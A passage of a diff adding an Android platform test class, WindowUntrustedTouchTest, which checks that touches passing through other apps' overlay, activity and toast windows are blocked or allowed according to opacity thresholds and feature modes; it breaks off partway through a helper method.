+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOKEN;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.ActivityOptions;
+import android.app.Instrumentation;
+import android.app.NotificationManager;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.Rect;
+import android.hardware.input.InputManager;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
+import android.server.wm.overlay.Components;
+import android.server.wm.overlay.R;
+import android.server.wm.shared.IUntrustedTouchTestService;
+import android.server.wm.shared.BlockingResultReceiver;
+import android.util.ArrayMap;
+import android.util.ArraySet;
+import android.view.Display;
+import android.view.Gravity;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import androidx.annotation.AnimRes;
+import androidx.annotation.Nullable;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicInteger;
+
+@Presubmit
+public class WindowUntrustedTouchTest {
+    private static final String TAG = "WindowUntrustedTouchTest";
+
+    /**
+     * Opacity (or alpha) is represented as a half-precision floating point number (16b) in surface
+     * flinger and the conversion from the single-precision float provided to window manager happens
+     * in Layer::setAlpha() by android::half::ftoh(). So, many small non-zero values provided to
+     * window manager end up becoming zero due to loss of precision (this is fine as long as the
+     * zeros are also used to render the pixels on the screen). So, the minimum opacity possible is
+     * actually the minimum positive value representable in half-precision float, which is
+     * 0_00001_0000000000, whose equivalent in float is 0_01110001_00000000000000000000000.
+     *
+     * Note that from float -> half conversion code we don't produce any subnormal half-precision
+     * floats during conversion.
+     */
+    public static final float MIN_POSITIVE_OPACITY =
+            Float.intBitsToFloat(0b00111000100000000000000000000000);
+
+    private static final float MAXIMUM_OBSCURING_OPACITY = .8f;
+    private static final long TIMEOUT_MS = 3000L;
+    private static final long MAX_ANIMATION_DURATION_MS = 3000L;
+    private static final long ANIMATION_DURATION_TOLERANCE_MS = 500L;
+
+    private static final int OVERLAY_COLOR = 0xFFFF0000;
+    private static final int ACTIVITY_COLOR = 0xFFFFFFFF;
+
+    private static final int FEATURE_MODE_DISABLED = 0;
+    private static final int FEATURE_MODE_PERMISSIVE = 1;
+    private static final int FEATURE_MODE_BLOCK = 2;
+
+    private static final String APP_SELF =
+            WindowUntrustedTouchTest.class.getPackage().getName() + ".cts";
+    private static final String APP_A =
+            android.server.wm.second.Components.class.getPackage().getName();
+    private static final String APP_B =
+            android.server.wm.third.Components.class.getPackage().getName();
+    private static final String WINDOW_1 = "W1";
+    private static final String WINDOW_2 = "W2";
+
+    private static final String[] APPS = {APP_A, APP_B};
+
+    private static final String SETTING_MAXIMUM_OBSCURING_OPACITY =
+            "maximum_obscuring_opacity_for_touch";
+
+    private final WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
+    private final Map<String, FutureConnection<IUntrustedTouchTestService>> mConnections =
+            new ArrayMap<>();
+    private Instrumentation mInstrumentation;
+    private Context mContext;
+    private Resources mResources;
+    private ContentResolver mContentResolver;
+    private TouchHelper mTouchHelper;
+    private Handler mMainHandler;
+    private InputManager mInputManager;
+    private WindowManager mWindowManager;
+    private ActivityManager mActivityManager;
+    private NotificationManager mNotificationManager;
+    private TestActivity mActivity;
+    private View mContainer;
+    private Toast mToast;
+    private float mPreviousTouchOpacity;
+    private int mPreviousMode;
+    private int mPreviousSawAppOp;
+    private final Set<String> mSawWindowsAdded = new ArraySet<>();
+    private final AtomicInteger mTouchesReceived = new AtomicInteger(0);
+
+    @Rule
+    public TestName testNameRule = new TestName();
+
+    @Rule
+    public ActivityTestRule<TestActivity> activityRule = new ActivityTestRule<>(TestActivity.class);
+
+    @Before
+    public void setUp() throws Exception {
+        mActivity = activityRule.getActivity();
+        mContainer = mActivity.view;
+        mContainer.setOnTouchListener(this::onTouchEvent);
+        mInstrumentation = getInstrumentation();
+        mContext = mInstrumentation.getContext();
+        mResources = mContext.getResources();
+        mContentResolver = mContext.getContentResolver();
+        mTouchHelper = new TouchHelper(mInstrumentation, mWmState);
+        mMainHandler = new Handler(Looper.getMainLooper());
+        mInputManager = mContext.getSystemService(InputManager.class);
+        mWindowManager = mContext.getSystemService(WindowManager.class);
+        mActivityManager = mContext.getSystemService(ActivityManager.class);
+        mNotificationManager = mContext.getSystemService(NotificationManager.class);
+
+        mPreviousSawAppOp = AppOpsUtils.getOpMode(APP_SELF, OPSTR_SYSTEM_ALERT_WINDOW);
+        AppOpsUtils.setOpMode(APP_SELF, OPSTR_SYSTEM_ALERT_WINDOW, MODE_ALLOWED);
+        mPreviousTouchOpacity = setMaximumObscuringOpacityForTouch(MAXIMUM_OBSCURING_OPACITY);
+        mPreviousMode = setBlockUntrustedTouchesMode(FEATURE_MODE_BLOCK);
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mNotificationManager.setToastRateLimitingEnabled(false));
+
+        pressWakeupButton();
+        pressUnlockButton();
+    }
+
+    @After
+    public void tearDown() throws Throwable {
+        mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY);
+        mTouchesReceived.set(0);
+        removeOverlays();
+        for (FutureConnection<IUntrustedTouchTestService> connection : mConnections.values()) {
+            mContext.unbindService(connection);
+        }
+        mConnections.clear();
+        for (String app : APPS) {
+            stopPackage(app);
+        }
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mNotificationManager.setToastRateLimitingEnabled(true));
+        setBlockUntrustedTouchesMode(mPreviousMode);
+        setMaximumObscuringOpacityForTouch(mPreviousTouchOpacity);
+        AppOpsUtils.setOpMode(APP_SELF, OPSTR_SYSTEM_ALERT_WINDOW, mPreviousSawAppOp);
+    }
+
+    @Test
+    public void testWhenFeatureInDisabledModeAndActivityWindowAbove_allowsTouch()
+            throws Throwable {
+        setBlockUntrustedTouchesMode(FEATURE_MODE_DISABLED);
+        addActivityOverlay(APP_A, /* opacity */ .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenFeatureInPermissiveModeAndActivityWindowAbove_allowsTouch()
+            throws Throwable {
+        setBlockUntrustedTouchesMode(FEATURE_MODE_PERMISSIVE);
+        addActivityOverlay(APP_A, /* opacity */ .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenFeatureInBlockModeAndActivityWindowAbove_blocksTouch()
+            throws Throwable {
+        setBlockUntrustedTouchesMode(FEATURE_MODE_BLOCK);
+        addActivityOverlay(APP_A, /* opacity */ .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testMaximumObscuringOpacity() throws Throwable {
+        // Setting the previous value since we override this on setUp()
+        setMaximumObscuringOpacityForTouch(mPreviousTouchOpacity);
+
+        assertEquals(0.8f, mInputManager.getMaximumObscuringOpacityForTouch());
+    }
+
+    @Test
+    public void testAfterSettingThreshold_returnsThresholdSet()
+            throws Throwable {
+        float threshold = .123f;
+        setMaximumObscuringOpacityForTouch(threshold);
+
+        assertEquals(threshold, mInputManager.getMaximumObscuringOpacityForTouch());
+    }
+
+    @Test
+    public void testAfterSettingFeatureMode_returnsModeSet()
+            throws Throwable {
+        // Make sure the previous mode is different
+        setBlockUntrustedTouchesMode(FEATURE_MODE_BLOCK);
+        assertEquals(FEATURE_MODE_BLOCK, mInputManager.getBlockUntrustedTouchesMode(mContext));
+        setBlockUntrustedTouchesMode(FEATURE_MODE_PERMISSIVE);
+
+        assertEquals(FEATURE_MODE_PERMISSIVE, mInputManager.getBlockUntrustedTouchesMode(mContext));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testAfterSettingThresholdLessThan0_throws() throws Throwable {
+        setMaximumObscuringOpacityForTouch(-.5f);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testAfterSettingThresholdGreaterThan1_throws() throws Throwable {
+        setMaximumObscuringOpacityForTouch(1.5f);
+    }
+
+    /** This is testing what happens if setting is overridden manually */
+    @Test
+    public void testAfterSettingThresholdGreaterThan1ViaSettings_previousThresholdIsUsed()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(.8f);
+        assertEquals(.8f, mInputManager.getMaximumObscuringOpacityForTouch());
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Settings.Global.putFloat(mContentResolver, SETTING_MAXIMUM_OBSCURING_OPACITY, 1.5f);
+        });
+        addSawOverlay(APP_A, WINDOW_1, 9.f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        // Blocks because it's using previous maximum of .8
+        assertTouchNotReceived();
+    }
+
+    /** This is testing what happens if setting is overridden manually */
+    @Test
+    public void testAfterSettingThresholdLessThan0ViaSettings_previousThresholdIsUsed()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(.8f);
+        assertEquals(.8f, mInputManager.getMaximumObscuringOpacityForTouch());
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Settings.Global.putFloat(mContentResolver, SETTING_MAXIMUM_OBSCURING_OPACITY, -.5f);
+        });
+        addSawOverlay(APP_A, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        // Allows because it's using previous maximum of .8
+        assertTouchReceived();
+    }
+
+    /** SAWs */
+
+    @Test
+    public void testWhenOneSawWindowAboveThreshold_blocksTouch() throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneSawWindowBelowThreshold_allowsTouch() throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneSawWindowWithZeroOpacity_allowsTouch() throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, 0f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneSawWindowAtThreshold_allowsTouch() throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, MAXIMUM_OBSCURING_OPACITY);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenTwoSawWindowsFromSameAppTogetherBelowThreshold_allowsTouch()
+            throws Throwable {
+        // Resulting opacity = 1 - (1 - 0.5)*(1 - 0.5) = .75
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addSawOverlay(APP_A, WINDOW_2, .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenTwoSawWindowsFromSameAppTogetherAboveThreshold_blocksTouch()
+            throws Throwable {
+        // Resulting opacity = 1 - (1 - 0.7)*(1 - 0.7) = .91
+        addSawOverlay(APP_A, WINDOW_1, .7f);
+        addSawOverlay(APP_A, WINDOW_2, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenTwoSawWindowsFromDifferentAppsEachBelowThreshold_allowsTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .7f);
+        addSawOverlay(APP_B, WINDOW_2, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_blocksTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .9f);
+        addSawOverlay(APP_SELF, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneSawWindowBelowThresholdAndSelfSawWindow_allowsTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .7f);
+        addSawOverlay(APP_SELF, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenTwoSawWindowsTogetherBelowThresholdAndSelfSawWindow_allowsTouch()
+            throws Throwable {
+        // Resulting opacity for A = 1 - (1 - 0.5)*(1 - 0.5) = .75
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addSawOverlay(APP_SELF, WINDOW_1, .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenThresholdIs0AndSawWindowAtThreshold_allowsTouch()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(0);
+        addSawOverlay(APP_A, WINDOW_1, 0);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenThresholdIs0AndSawWindowAboveThreshold_blocksTouch()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(0);
+        addSawOverlay(APP_A, WINDOW_1, .1f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenThresholdIs1AndSawWindowAtThreshold_allowsTouch()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(1);
+        addSawOverlay(APP_A, WINDOW_1, 1);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenThresholdIs1AndSawWindowBelowThreshold_allowsTouch()
+            throws Throwable {
+        setMaximumObscuringOpacityForTouch(1);
+        addSawOverlay(APP_A, WINDOW_1, .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    /** Activity windows */
+
+    @Test
+    public void testWhenOneActivityWindowBelowThreshold_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAboveThreshold_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowWithZeroOpacity_allowsTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ 0f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowWithMinPositiveOpacity_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ MIN_POSITIVE_OPACITY);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowWithSmallOpacity_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .01f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneSelfActivityWindow_allowsTouch() throws Throwable {
+        addActivityOverlay(APP_SELF, /* opacity */ .9f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenTwoActivityWindowsFromDifferentAppsTogetherBelowThreshold_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .7f);
+        addActivityOverlay(APP_B, /* opacity */ .7f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAndOneSawWindowTogetherBelowThreshold_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAndOneSelfCustomToastWindow_blocksTouch()
+            throws Throwable {
+        // Toast has to be before otherwise it would be blocked from background
+        addToastOverlay(APP_SELF, /* custom */ true);
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAndOneSelfSawWindow_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+        addSawOverlay(APP_SELF, WINDOW_1, .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAndOneSawWindowBelowThreshold_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneActivityWindowAndOneSawWindowBelowThresholdFromDifferentApp_blocksTouch()
+            throws Throwable {
+        addActivityOverlay(APP_A, /* opacity */ .5f);
+        addSawOverlay(APP_B, WINDOW_1, .5f);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    /** Activity-type child windows on same activity */
+
+    @Test
+    public void testWhenActivityChildWindowWithSameTokenFromDifferentApp_allowsTouch()
+            throws Exception {
+        IBinder token = mActivity.getWindow().getAttributes().token;
+        addActivityChildWindow(APP_A, WINDOW_1, token);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenActivityChildWindowWithDifferentTokenFromDifferentApp_blocksTouch()
+            throws Exception {
+        // Creates a new activity with 0 opacity
+        BlockingResultReceiver receiver = new BlockingResultReceiver();
+        addActivityOverlay(APP_A, /* opacity */ 0f, receiver);
+        // Verify it allows touches
+        mTouchHelper.tapOnViewCenter(mContainer);
+        assertTouchReceived();
+        // Now get its token and put a child window from another app with it
+        IBinder token = receiver.getData(TIMEOUT_MS).getBinder(EXTRA_TOKEN);
+        addActivityChildWindow(APP_B, WINDOW_1, token);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenActivityChildWindowWithDifferentTokenFromSameApp_allowsTouch()
+            throws Exception {
+        // Creates a new activity with 0 opacity
+        BlockingResultReceiver receiver = new BlockingResultReceiver();
+        addActivityOverlay(APP_A, /* opacity */ 0f, receiver);
+        // Now get its token and put a child window owned by us
+        IBinder token = receiver.getData(TIMEOUT_MS).getBinder(EXTRA_TOKEN);
+        addActivityChildWindow(APP_SELF, WINDOW_1, token);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    /** Activity transitions */
+
+    @Test
+    public void testLongEnterAnimations_areLimited() {
+        long durationSet = mResources.getInteger(R.integer.long_animation_duration);
+        assertThat(durationSet).isGreaterThan(
+                MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+        addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.long_alpha_0_7,
+                R.anim.long_alpha_1);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+        long start = SystemClock.elapsedRealtime();
+
+        assertTrue(mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY));
+        long duration = SystemClock.elapsedRealtime() - start;
+        assertThat(duration).isAtMost(MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+    }
+
+    @Test
+    public void testLongExitAnimations_areLimited() {
+        long durationSet = mResources.getInteger(R.integer.long_animation_duration);
+        assertThat(durationSet).isGreaterThan(
+                MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+        addExitAnimationActivity(APP_A);
+        sendFinishToExitAnimationActivity(APP_A,
+                Components.ExitAnimationActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+        long start = SystemClock.elapsedRealtime();
+
+        assertTrue(mWmState.waitForAppTransitionIdleOnDisplay(Display.DEFAULT_DISPLAY));
+        long duration = SystemClock.elapsedRealtime() - start;
+        assertThat(duration).isAtMost(MAX_ANIMATION_DURATION_MS + ANIMATION_DURATION_TOLERANCE_MS);
+    }
+
+    @Test
+    public void testWhenEnterAnimationAboveThresholdAndNewActivityNotTouchable_blocksTouch() {
+        addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.alpha_0_9, R.anim.alpha_1);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenEnterAnimationBelowThresholdAndNewActivityNotTouchable_allowsTouch() {
+        addAnimatedActivityOverlay(APP_A, /* touchable */ false, R.anim.alpha_0_7, R.anim.alpha_1);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenEnterAnimationBelowThresholdAndNewActivityTouchable_blocksTouch() {
+        addAnimatedActivityOverlay(APP_A, /* touchable */ true, R.anim.alpha_0_7, R.anim.alpha_1);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenExitAnimationBelowThreshold_allowsTouch() {
+        addExitAnimationActivity(APP_A);
+        sendFinishToExitAnimationActivity(APP_A,
+                Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_7);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenExitAnimationAboveThreshold_blocksTouch() {
+        addExitAnimationActivity(APP_A);
+        sendFinishToExitAnimationActivity(APP_A,
+                Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_9);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenExitAnimationAboveThresholdFromSameUid_allowsTouch() {
+        addExitAnimationActivity(APP_SELF);
+        sendFinishToExitAnimationActivity(APP_SELF,
+                Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_9);
+        assertTrue(mWmState.waitForAppTransitionRunningOnDisplay(Display.DEFAULT_DISPLAY));
+
+        mTouchHelper.tapOnViewCenter(mContainer, /* waitAnimations*/ false);
+
+        assertAnimationRunning();
+        assertTouchReceived();
+    }
+
+    /** Toast windows */
+
+    @Test
+    public void testWhenSelfTextToastWindow_allowsTouch() throws Throwable {
+        addToastOverlay(APP_SELF, /* custom */ false);
+        Rect toast = mWmState.waitForResult("toast bounds",
+                state -> state.findFirstWindowWithType(LayoutParams.TYPE_TOAST).getFrame());
+
+        mTouchHelper.tapOnCenter(toast, mActivity.getDisplayId());
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenTextToastWindow_allowsTouch() throws Throwable {
+        addToastOverlay(APP_A, /* custom */ false);
+        Rect toast = mWmState.waitForResult("toast bounds",
+                state -> state.findFirstWindowWithType(LayoutParams.TYPE_TOAST).getFrame());
+
+        mTouchHelper.tapOnCenter(toast, mActivity.getDisplayId());
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneCustomToastWindow_blocksTouch() throws Throwable {
+        addToastOverlay(APP_A, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneSelfCustomToastWindow_allowsTouch() throws Throwable {
+        addToastOverlay(APP_SELF, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    @Test
+    public void testWhenOneCustomToastWindowAndOneSelfSawWindow_blocksTouch()
+            throws Throwable {
+        addSawOverlay(APP_SELF, WINDOW_1, .9f);
+        addToastOverlay(APP_A, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneCustomToastWindowAndOneSawWindowBelowThreshold_blocksTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addToastOverlay(APP_A, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneCustomToastWindowAndOneSawWindowBelowThresholdFromDifferentApp_blocksTouch()
+            throws Throwable {
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addToastOverlay(APP_B, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenOneSelfCustomToastWindowOneSelfActivityWindowAndOneSawBelowThreshold_allowsTouch()
+            throws Throwable {
+        addActivityOverlay(APP_SELF, /* opacity */ .9f);
+        addSawOverlay(APP_A, WINDOW_1, .5f);
+        addToastOverlay(APP_SELF, /* custom */ true);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
+    private boolean onTouchEvent(View view, MotionEvent event) {
+        if (event.getAction() == MotionEvent.ACTION_DOWN) {
+            mTouchesReceived.incrementAndGet();
+        }
+        return true;
+    }
+
+    private void assertTouchReceived() {
+        mInstrumentation.waitForIdleSync();
+        assertThat(mTouchesReceived.get()).isEqualTo(1);
+        mTouchesReceived.set(0);
+    }
+
+    private void assertTouchNotReceived() {
+        mInstrumentation.waitForIdleSync();
+        assertThat(mTouchesReceived.get()).isEqualTo(0);
+        mTouchesReceived.set(0);
+    }
+
+    private void assertAnimationRunning() {
+        assertThat(mWmState.getDisplay(Display.DEFAULT_DISPLAY).getAppTransitionState()).isEqualTo(
+                WindowManagerStateHelper.APP_STATE_RUNNING);
+    }
+
+    private void addToastOverlay(String packageName, boolean custom) throws Exception {
+        // Making sure there are no toasts currently since we can only check for the presence of
+        // *any* toast afterwards and we don't want to be in a situation where this method returned
+        // because another toast was being displayed.
+        waitForNoToastOverlays();
+        if (custom) {
+            if (packageName.equals(APP_SELF)) {
+                // We add the custom toast here because we already have foreground status due to
+                // the activity rule, so no need to start another activity.
+                addMyCustomToastOverlay();
+            } else {
+                // We have to use an activity that will display the toast then finish itself because
+                // custom toasts cannot be posted from the background.
+                Intent intent = new Intent();
+                intent.setComponent(repackage(packageName, Components.ToastActivity.COMPONENT));
+                mActivity.startActivity(intent);
+            }
+        } else {
+            getService(packageName).showToast();
+        }
+        String message = "Toast from app " + packageName + " did not appear on time";
+        // TODO: WindowStateProto does not have package/UID information from the window, the current
+        //  package test relies on the window name, which is not how toast windows are named. We
+        //  should ideally incorporate that information in WindowStateProto and use here.
+        if (!mWmState.waitFor("toast window", this::hasVisibleToast)) {
+            fail(message);
+        }
+    }
+
+    private boolean hasVisibleToast(WindowManagerState state) {
+        return !state.getMatchingWindowType(LayoutParams.TYPE_TOAST).isEmpty()
+                && state.findFirstWindowWithType(LayoutParams.TYPE_TOAST).isSurfaceShown();
+    }
+
+    private void addMyCustomToastOverlay() {
+        mActivity.runOnUiThread(() -> {
+            mToast = new Toast(mContext);
+            View view = new View(mContext);
+            view.setBackgroundColor(OVERLAY_COLOR);
+            mToast.setView(view);
+            mToast.setGravity(Gravity.FILL, 0, 0);
+            mToast.setDuration(Toast.LENGTH_LONG);
+            mToast.show();
+        });
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void removeMyCustomToastOverlay() {
+        mActivity.runOnUiThread(() -> {
+            if (mToast != null) {
+                mToast.cancel();
+                mToast = null;
+            }
+        });
+        mInstrumentation.waitForIdleSync();
+    }
+
+    private void waitForNoToastOverlays() {
+        waitForNoToastOverlays("Toast windows did not hide on time");
+    }
+
+    private void waitForNoToastOverlays(String message) {
+        if (!mWmState.waitFor("no toast windows",
+                state -> state.getMatchingWindowType(LayoutParams.TYPE_TOAST).isEmpty())) {
+            fail(message);
+        }
+    }
+
+    private void addExitAnimationActivity(String packageName) {
+        // This activity responds to broadcasts to exit with animations and it's opaque (translucent
+        // activities don't honor custom exit animations).
